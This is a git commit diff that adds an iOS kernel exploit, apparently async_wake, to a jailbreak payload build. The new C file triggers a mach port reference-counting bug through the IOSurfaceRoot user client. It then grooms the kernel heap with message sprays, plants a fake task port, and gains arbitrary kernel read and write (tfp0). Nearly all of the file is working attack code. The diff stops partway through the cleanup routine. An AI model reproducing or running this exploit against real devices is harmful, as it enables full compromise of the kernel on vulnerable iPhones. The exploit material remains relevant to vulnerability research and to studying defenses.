tfp0 via async_wake
This commit is contained in:
parent
6d9385cb8a
commit
70aa762958
|
@ -22,7 +22,7 @@ exploit.bin: loader payload.dylib
|
|||
%.o: liboffsetfinder/%.cpp
|
||||
clang -c $(CLANG_IOS) $< -o $@ -fno-stack-protector -fmodules
|
||||
|
||||
payload.dylib: payload.o v0rtex.o patchfinder64.o kernel_utils.o trustcache.o sha1.o liboffsetfinder64/getoffsets.o liboffsetfinder64/img4.o liboffsetfinder64/lzssdec.o liboffsetfinder64/exception.o liboffsetfinder64/liboffsetfinder64.o liboffsetfinder64/insn.o liboffsetfinder64/patch.o
|
||||
payload.dylib: payload.o v0rtex.o async_wake.o kmem.o kutils.o koffsets.o find_port.o early_kalloc.o patchfinder64.o kernel_utils.o trustcache.o sha1.o liboffsetfinder64/getoffsets.o liboffsetfinder64/img4.o liboffsetfinder64/lzssdec.o liboffsetfinder64/exception.o liboffsetfinder64/liboffsetfinder64.o liboffsetfinder64/insn.o liboffsetfinder64/patch.o
|
||||
clang $(CLANG_IOS) $^ -shared -o $@ -bind_at_load \
|
||||
-fno-stack-protector -fobjc-arc -fmodules -framework IOKit -lc++
|
||||
strip -u -r payload.dylib
|
||||
|
|
|
@ -0,0 +1,711 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach-o/loader.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include "async_wake.h"
|
||||
#include "koffsets.h"
|
||||
#include "kernel_utils.h"
|
||||
#include "kmem.h"
|
||||
#include "kutils.h"
|
||||
#include "early_kalloc.h"
|
||||
#include "find_port.h"
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#ifdef __OBJC__
|
||||
#include <Foundation/Foundation.h>
|
||||
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
|
||||
#else
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
||||
#endif
|
||||
|
||||
// various prototypes and structure definitions for missing iOS headers:
|
||||
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t* data,
|
||||
mach_msg_type_number_t* dataCnt);
|
||||
|
||||
/****** IOKit/IOKitLib.h *****/
|
||||
typedef mach_port_t io_service_t;
|
||||
typedef mach_port_t io_connect_t;
|
||||
|
||||
extern const mach_port_t kIOMasterPortDefault;
|
||||
#define IO_OBJECT_NULL (0)
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallAsyncMethod(
|
||||
mach_port_t connection,
|
||||
uint32_t selector,
|
||||
mach_port_t wakePort,
|
||||
uint64_t* reference,
|
||||
uint32_t referenceCnt,
|
||||
const uint64_t* input,
|
||||
uint32_t inputCnt,
|
||||
const void* inputStruct,
|
||||
size_t inputStructCnt,
|
||||
uint64_t* output,
|
||||
uint32_t* outputCnt,
|
||||
void* outputStruct,
|
||||
size_t* outputStructCntP);
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallMethod(
|
||||
mach_port_t connection,
|
||||
uint32_t selector,
|
||||
const uint64_t* input,
|
||||
uint32_t inputCnt,
|
||||
const void* inputStruct,
|
||||
size_t inputStructCnt,
|
||||
uint64_t* output,
|
||||
uint32_t* outputCnt,
|
||||
void* outputStruct,
|
||||
size_t* outputStructCntP);
|
||||
|
||||
io_service_t
|
||||
IOServiceGetMatchingService(
|
||||
mach_port_t _masterPort,
|
||||
CFDictionaryRef matching);
|
||||
|
||||
CFMutableDictionaryRef
|
||||
IOServiceMatching(
|
||||
const char* name);
|
||||
|
||||
kern_return_t
|
||||
IOServiceOpen(
|
||||
io_service_t service,
|
||||
task_port_t owningTask,
|
||||
uint32_t type,
|
||||
io_connect_t* connect);
|
||||
|
||||
/******** end extra headers ***************/
|
||||
|
||||
mach_port_t user_client = MACH_PORT_NULL;
|
||||
|
||||
// make_dangling will drop an extra reference on port
|
||||
// this is the actual bug:
|
||||
void make_dangling(mach_port_t port)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint32_t inputScalarCnt = 0;
|
||||
|
||||
char inputStruct[4096];
|
||||
size_t inputStructCnt = 0x18;
|
||||
|
||||
uint64_t* ivals = (uint64_t*)inputStruct;
|
||||
ivals[0] = 1;
|
||||
ivals[1] = 2;
|
||||
ivals[2] = 3;
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
uint64_t reference[8] = { 0 };
|
||||
uint32_t referenceCnt = 1;
|
||||
|
||||
for (int i = 0; i < 2; i++) {
|
||||
err = IOConnectCallAsyncMethod(
|
||||
user_client,
|
||||
17, // s_set_surface_notify
|
||||
port,
|
||||
reference,
|
||||
referenceCnt,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
LOG("%x", err);
|
||||
};
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
user_client,
|
||||
18, // s_remove_surface_notify
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
LOG("%x", err);
|
||||
}
|
||||
|
||||
static bool prepare_user_client()
|
||||
{
|
||||
kern_return_t err;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
|
||||
|
||||
if (service == IO_OBJECT_NULL) {
|
||||
LOG("unable to find service");
|
||||
return false;
|
||||
}
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get user client connection");
|
||||
return false;
|
||||
}
|
||||
|
||||
LOG("got user client: 0x%x", user_client);
|
||||
return true;
|
||||
}
|
||||
|
||||
mach_port_t* prepare_ports(int n_ports)
|
||||
{
|
||||
mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));
|
||||
for (int i = 0; i < n_ports; i++) {
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
|
||||
if (err != KERN_SUCCESS) {
|
||||
for (int j = 0; j < i; j++) {
|
||||
mach_port_deallocate(mach_task_self(), ports[j]);
|
||||
}
|
||||
free(ports);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
return ports;
|
||||
}
|
||||
|
||||
void free_ports(mach_port_t* ports, int n_ports)
|
||||
{
|
||||
for (int i = 0; i < n_ports; i++) {
|
||||
mach_port_t port = ports[i];
|
||||
if (port == MACH_PORT_NULL) {
|
||||
continue;
|
||||
}
|
||||
|
||||
mach_port_destroy(mach_task_self(), port);
|
||||
}
|
||||
}
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size)
|
||||
{
|
||||
// allocate a port to send the messages to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate port");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
mach_port_limits_t limits = { 0 };
|
||||
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
|
||||
err = mach_port_set_attributes(mach_task_self(),
|
||||
q,
|
||||
MACH_PORT_LIMITS_INFO,
|
||||
(mach_port_info_t)&limits,
|
||||
MACH_PORT_LIMITS_INFO_COUNT);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to increase queue limit");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, sizeof(struct simple_msg));
|
||||
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
|
||||
|
||||
for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to send message %x (%d): %s", err, i, mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
/*
|
||||
for the given mach message size, how big will the ipc_kmsg structure be?
|
||||
|
||||
This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!
|
||||
|
||||
The size is overallocated so that if the message was sent from a 32-bit process
|
||||
they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which
|
||||
means that for each descriptor they would need an extra 4 bytes of space for the
|
||||
larger pointer. Except at this point they have no idea what's in the message
|
||||
so they assume the worst case for all messages. This leads to approximately a 30%
|
||||
overhead in the allocation size.
|
||||
|
||||
The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.
|
||||
|
||||
When the message is actually written into this buffer it's aligned to the end
|
||||
*/
|
||||
|
||||
/*
|
||||
build a fake task port object to get an arbitrary read
|
||||
|
||||
I am basing this on the techniques used in Yalu 10.2 released by
|
||||
@qwertyoruiopz and @marcograss (and documented by Johnathan Levin
|
||||
in *OS Internals Volume III)
|
||||
|
||||
There are a few difference here. We have a kernel memory disclosure bug so
|
||||
we know the address the dangling port pointer points to. This means we don't need
|
||||
to point the task to userspace to get a "what+where" primitive since we can just
|
||||
put whatever recursive structure we require in the object which will replace
|
||||
the free'd port.
|
||||
|
||||
We can also leverage the fact that we have a dangling mach port pointer
|
||||
to also write to a small area of the dangling port (via mach_port_set_context)
|
||||
|
||||
If we build the replacement object (with the fake struct task)
|
||||
correctly we can set it up such that by calling mach_port_set_context we can control
|
||||
where the arbitrary read will read from.
|
||||
|
||||
this same method is used again a second time once the arbitrary read works so that the vm_map
|
||||
and receiver can be set correctly turning this into a fake kernel task port.
|
||||
*/
|
||||
|
||||
static uint32_t IO_BITS_ACTIVE = 0x80000000;
|
||||
static uint32_t IKOT_TASK = 2;
|
||||
static uint32_t IKOT_NONE = 0;
|
||||
|
||||
uint64_t second_port_initial_context = 0x1024204110244201;
|
||||
|
||||
uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr)
|
||||
{
|
||||
uint8_t* body = malloc(message_body_size);
|
||||
memset(body, 0, message_body_size);
|
||||
|
||||
uint32_t port_page_offset = dangling_port_address & 0xfff;
|
||||
|
||||
// structure required for the first fake port:
|
||||
uint8_t* fake_port = body + (port_page_offset - message_body_offset);
|
||||
|
||||
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
|
||||
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
|
||||
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
|
||||
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
|
||||
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
|
||||
|
||||
*context_ptr = (uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
|
||||
|
||||
// set the kobject pointer such that task->bsd_info reads from ip_context:
|
||||
int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
|
||||
|
||||
uint64_t fake_task_address = dangling_port_address + fake_task_offset;
|
||||
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
|
||||
|
||||
// when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
|
||||
// pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!
|
||||
|
||||
if (fake_port + fake_task_offset < body) {
|
||||
LOG("the maths is wrong somewhere, fake task doesn't fit in message");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint8_t* fake_task = fake_port + fake_task_offset;
|
||||
|
||||
// set the ref_count field of the fake task:
|
||||
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
|
||||
|
||||
// make sure the task is active
|
||||
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
|
||||
|
||||
// set the vm_map of the fake task:
|
||||
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
|
||||
|
||||
// set the task lock type of the fake task's lock:
|
||||
*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
|
||||
return body;
|
||||
}
|
||||
|
||||
/*
|
||||
* the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer
|
||||
*
|
||||
* use that tfp0 to build a safer one such that we can safely free everything this process created and exit
|
||||
* without leaking memory
|
||||
*/
|
||||
mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate port");
|
||||
}
|
||||
|
||||
// build a fake struct task for the kernel task:
|
||||
//uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);
|
||||
uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);
|
||||
LOG("fake_kernel_task_kaddr: %llx", fake_kernel_task_kaddr);
|
||||
|
||||
void* fake_kernel_task = malloc(0x1000);
|
||||
memset(fake_kernel_task, 0, 0x1000);
|
||||
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
|
||||
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
|
||||
*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
|
||||
*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
|
||||
kmemcpy(fake_kernel_task_kaddr, (uint64_t)fake_kernel_task, 0x1000);
|
||||
free(fake_kernel_task);
|
||||
|
||||
uint32_t fake_task_refs = ReadKernel32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
|
||||
LOG("read fake_task_refs: %x", fake_task_refs);
|
||||
if (fake_task_refs != 0xd00d) {
|
||||
LOG("read back value didn't match...");
|
||||
}
|
||||
|
||||
// now make the changes to the port object to make it a task port:
|
||||
uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr);
|
||||
|
||||
// swap our receive right for a send right:
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = tfp0 >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
uint32_t bits = ReadKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
|
||||
|
||||
#define IE_BITS_SEND (1 << 16)
|
||||
#define IE_BITS_RECEIVE (1 << 17)
|
||||
|
||||
bits &= (~IE_BITS_RECEIVE);
|
||||
bits |= IE_BITS_SEND;
|
||||
|
||||
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
|
||||
|
||||
LOG("about to test new tfp0");
|
||||
|
||||
vm_offset_t data_out = 0;
|
||||
mach_msg_type_number_t out_size = 0;
|
||||
err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
LOG("kernel read via second tfp0 port worked?");
|
||||
LOG("0x%016llx", *(uint64_t*)data_out);
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
|
||||
|
||||
return tfp0;
|
||||
}
|
||||
|
||||
// task_self_addr points to the struct ipc_port for our task port
|
||||
uint64_t find_kernel_vm_map(uint64_t task_self_addr)
|
||||
{
|
||||
uint64_t struct_task = ReadKernel64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
while (struct_task != 0) {
|
||||
uint64_t bsd_info = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
|
||||
|
||||
uint32_t pid = ReadKernel32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
|
||||
|
||||
if (pid == 0) {
|
||||
uint64_t vm_map = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
|
||||
return vm_map;
|
||||
}
|
||||
|
||||
struct_task = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
|
||||
}
|
||||
|
||||
LOG("unable to find kernel task...");
|
||||
return 0;
|
||||
}
|
||||
|
||||
const uint64_t context_magic = 0x1214161800000000; // a random constant
|
||||
const uint64_t initial_context = 0x1020304015253545; // another random constant
|
||||
|
||||
kern_return_t async_wake(mach_port_t* tfp0)
|
||||
{
|
||||
// offsets are required before we get r/w:
|
||||
offsets_init();
|
||||
|
||||
kern_return_t err;
|
||||
|
||||
uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
|
||||
uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);
|
||||
uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
|
||||
|
||||
LOG("message size for kalloc.4096: %d", message_size_for_kalloc_size(4096));
|
||||
|
||||
if (!prepare_user_client()) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
uint64_t task_self = task_self_addr();
|
||||
if (task_self == 0) {
|
||||
LOG("unable to disclose address of our task port");
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
LOG("our task port is at 0x%llx", task_self);
|
||||
|
||||
int n_pre_ports = 100000; //8000
|
||||
mach_port_t* pre_ports = prepare_ports(n_pre_ports);
|
||||
if (pre_ports == NULL) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
// make a bunch of smaller allocations in a different zone which can be collected later:
|
||||
uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);
|
||||
|
||||
uint8_t* smaller_body = malloc(smaller_body_size);
|
||||
memset(smaller_body, 'C', smaller_body_size);
|
||||
|
||||
const int n_smaller_ports = 600; // 150 MB
|
||||
mach_port_t smaller_ports[n_smaller_ports];
|
||||
for (int i = 0; i < n_smaller_ports; i++) {
|
||||
smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
|
||||
if (smaller_ports[i] == MACH_PORT_NULL) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
// now find a suitable port
|
||||
// we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
|
||||
// completely control all the data:
|
||||
// specifically we're targetting kalloc.4096 but the message body will only span
|
||||
// xxx448 -> xxxfbc so we want to make sure the port we target is within that range
|
||||
// actually, since we're also putting a fake task struct here and want
|
||||
// the task's bsd_info pointer to overlap with the ip_context field we need a stricter range
|
||||
|
||||
int ports_to_test = 100;
|
||||
int base = n_pre_ports - 1000;
|
||||
|
||||
mach_port_t first_port = MACH_PORT_NULL;
|
||||
uint64_t first_port_address = 0;
|
||||
|
||||
for (int i = 0; i < ports_to_test; i++) {
|
||||
mach_port_t candidate_port = pre_ports[base + i];
|
||||
uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
uint64_t page_offset = candidate_address & 0xfff;
|
||||
if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
|
||||
LOG("found target port with suitable allocation page offset: 0x%016llx", candidate_address);
|
||||
pre_ports[base + i] = MACH_PORT_NULL;
|
||||
first_port = candidate_port;
|
||||
first_port_address = candidate_address;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (first_port == MACH_PORT_NULL) {
|
||||
LOG("unable to find a candidate port with a suitable page offset");
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
uint64_t* context_ptr = NULL;
|
||||
uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
|
||||
if (replacer_message_body == NULL) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
LOG("replacer_body_size: 0x%x", replacer_body_size);
|
||||
LOG("message_body_offset: 0x%x", message_body_offset);
|
||||
|
||||
make_dangling(first_port);
|
||||
|
||||
free_ports(pre_ports, n_pre_ports);
|
||||
|
||||
// free the smaller ports, they will get gc'd later:
|
||||
for (int i = 0; i < n_smaller_ports; i++) {
|
||||
mach_port_destroy(mach_task_self(), smaller_ports[i]);
|
||||
}
|
||||
|
||||
// now try to get that zone collected and reallocated as something controllable (kalloc.4096):
|
||||
|
||||
const int replacer_ports_limit = 200; // about 200 MB
|
||||
mach_port_t replacer_ports[replacer_ports_limit];
|
||||
memset(replacer_ports, 0, sizeof(replacer_ports));
|
||||
uint32_t i;
|
||||
for (i = 0; i < replacer_ports_limit; i++) {
|
||||
uint64_t context_val = (context_magic) | i;
|
||||
*context_ptr = context_val;
|
||||
replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
|
||||
if (replacer_ports[i] == MACH_PORT_NULL) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
// we want the GC to actually finish, so go slow...
|
||||
pthread_yield_np();
|
||||
usleep(10000);
|
||||
LOG("%d", i);
|
||||
}
|
||||
|
||||
// find out which replacer port it was
|
||||
mach_port_context_t replacer_port_number = 0;
|
||||
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get context: %d %s", err, mach_error_string(err));
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
replacer_port_number &= 0xffffffff;
|
||||
if (replacer_port_number >= (uint64_t)replacer_ports_limit) {
|
||||
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
LOG("got replaced with replacer port %ld", replacer_port_number);
|
||||
|
||||
prepare_rk_via_kmem_read_port(first_port);
|
||||
|
||||
uint64_t kernel_vm_map = find_kernel_vm_map(task_self);
|
||||
if (kernel_vm_map == 0) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
LOG("found kernel vm_map: 0x%llx", kernel_vm_map);
|
||||
|
||||
// now free first replacer and put a fake kernel task port there
|
||||
// we need to do this becase the first time around we don't know the address
|
||||
// of ipc_space_kernel which means we can't fake a port owned by the kernel
|
||||
free(replacer_message_body);
|
||||
replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
|
||||
if (replacer_message_body == NULL) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
// free the first replacer
|
||||
mach_port_t replacer_port = replacer_ports[replacer_port_number];
|
||||
replacer_ports[replacer_port_number] = MACH_PORT_NULL;
|
||||
mach_port_destroy(mach_task_self(), replacer_port);
|
||||
|
||||
const int n_second_replacer_ports = 10;
|
||||
mach_port_t second_replacer_ports[n_second_replacer_ports];
|
||||
|
||||
for (int i = 0; i < n_second_replacer_ports; i++) {
|
||||
*context_ptr = i;
|
||||
second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
|
||||
if (second_replacer_ports[i] == MACH_PORT_NULL) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
// hopefully that worked the second time too!
|
||||
// check the context:
|
||||
|
||||
replacer_port_number = 0;
|
||||
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get context: %d %s", err, mach_error_string(err));
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
replacer_port_number &= 0xffffffff;
|
||||
if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {
|
||||
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
LOG("second time got replaced with replacer port %ld", replacer_port_number);
|
||||
|
||||
// clear up the original replacer ports:
|
||||
for (int i = 0; i < replacer_ports_limit; i++) {
|
||||
mach_port_destroy(mach_task_self(), replacer_ports[i]);
|
||||
}
|
||||
|
||||
// then clear up the second replacer ports (apart from the one in use)
|
||||
mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];
|
||||
second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;
|
||||
for (int i = 0; i < n_second_replacer_ports; i++) {
|
||||
mach_port_destroy(mach_task_self(), second_replacer_ports[i]);
|
||||
}
|
||||
|
||||
LOG("will try to read from second port (fake kernel)");
|
||||
// try to read some kernel memory using the second port:
|
||||
vm_offset_t data_out = 0;
|
||||
mach_msg_type_number_t out_size = 0;
|
||||
err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
LOG("kernel read via fake kernel task port worked?");
|
||||
LOG("0x%016llx", *(uint64_t*)data_out);
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
|
||||
|
||||
prepare_rwk_via_tfp0(first_port);
|
||||
LOG("about to build safer tfp0");
|
||||
|
||||
//early_kalloc(0x10000);
|
||||
//return 0;
|
||||
|
||||
mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());
|
||||
prepare_rwk_via_tfp0(safer_tfp0);
|
||||
|
||||
LOG("built safer tfp0");
|
||||
LOG("about to clear up");
|
||||
|
||||
// can now clean everything up
|
||||
WriteKernel32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);
|
||||
WriteKernel64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
|
||||
|
||||
// first port will soon point to freed memory, so neuter it:
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
